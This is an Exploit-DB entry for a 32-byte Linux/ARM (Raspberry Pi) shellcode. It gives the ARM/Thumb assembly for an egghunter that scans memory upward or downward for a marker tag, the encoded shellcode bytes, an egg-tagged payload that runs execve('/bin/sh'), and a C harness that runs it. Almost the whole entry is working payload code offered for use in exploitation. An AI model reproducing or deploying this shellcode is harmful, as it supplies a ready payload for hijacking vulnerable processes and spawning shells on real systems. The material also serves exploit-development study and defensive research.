Linux/ARM - Egghunter + /bin/sh Shellcode (32 bytes)

EDB-ID: 44811
Author: Ken Kitahara
Published: 2018-05-31
CVE: N/A
Type: Shellcode
Platform: ARM
Shellcode: Download Shellcode Code Download / View Raw
Shellcode Size: 32 bytes

 Linux/ARM (Raspberry Pi) - Egghunter + /bin/sh Shellcode (32 bytes) 

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// If your shellcode in higer address, use following egghunter.
[email protected]berrypi:~ $ cat egghunter-higher.s
.section .text
.global _start
_start:
.code 32
add r3, pc, #1 // switch to thumb mode
bx r3

.code 16
adr r1, startpoint // set r1 to start point address
ldr r2, egg // set r2 to egg's value

next_addr:
add r1, r1, #1 // increment scan address
ldr r3, [r1] // set r3 to the value stored in r1's address
cmp r2, r3 // compare values
bne next_addr // if failed to find egg, jump to next address

mov r3, pc // switch to arm mode
bx r3

.code 32
mov pc, r1 // jump to found address

egg:
.ascii "\x50\x90\x50\x90"
startpoint:

[email protected]:~ $

------------------------------
// If your shellcode in lower address, use following egghunter.
[email protected]:~ $ cat egghunter-lower.s
.section .text
.global _start
_start:
.code 32
add r3, pc, #1 // switch to thumb mode
bx r3

.code 16
adr r1, startpoint // set r1 to start point address
ldr r2, egg // set r2 to egg's value

next_addr:
sub r1, r1, #1 // increment scan address
ldr r3, [r1] // set r3 to the value stored in r1's address
cmp r2, r3 // compare values
bne next_addr // if failed to find egg, jump to next address

startpoint:
mov r3, pc // switch to arm mode
bx r3

.code 32
mov pc, r1 // jump to found address

egg:
.ascii "\x50\x90\x50\x90"

[email protected]:~ $

------------------------------
*/

#include <stdio.h>
#include <string.h>

// If your shellcode in higer address, use following egghunter.
unsigned char egghunter[] = \
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x05\xa1\x04\x4a\x01\x31\x0b\x68\x9a\x42\xfb\xd1\x7b\x46\x18\x47\x01\xf0\xa0\xe1\x50\x90\x50\x90";

unsigned char egg[] = \
"\x50\x90\x50\x90" // egg tag
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1" // execve('/bin/sh')
"\x49\x40\x52\x40\x01\xa0\xc2\x71"
"\x0b\x27\x01\xdf\x2f\x62\x69\x6e"
"\x2f\x73\x68\x41";

// If your shellcode in lower address, use following egghunter.
//unsigned char egghunter[] = \
//"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa1\x04\x4a\x01\x39\x0b\x68\x9a\x42\xfb\xd1\x7b\x46\x18\x47\x01\xf0\xa0\xe1\x50\x90\x50\x90";

void main()
{
printf("Egg hunter shellcode Length: %d\n", strlen(egghunter));
printf("Egg shellcode Length: %d\n", strlen(egg));

int (*ret)() = (int(*)())egghunter;

ret();
}

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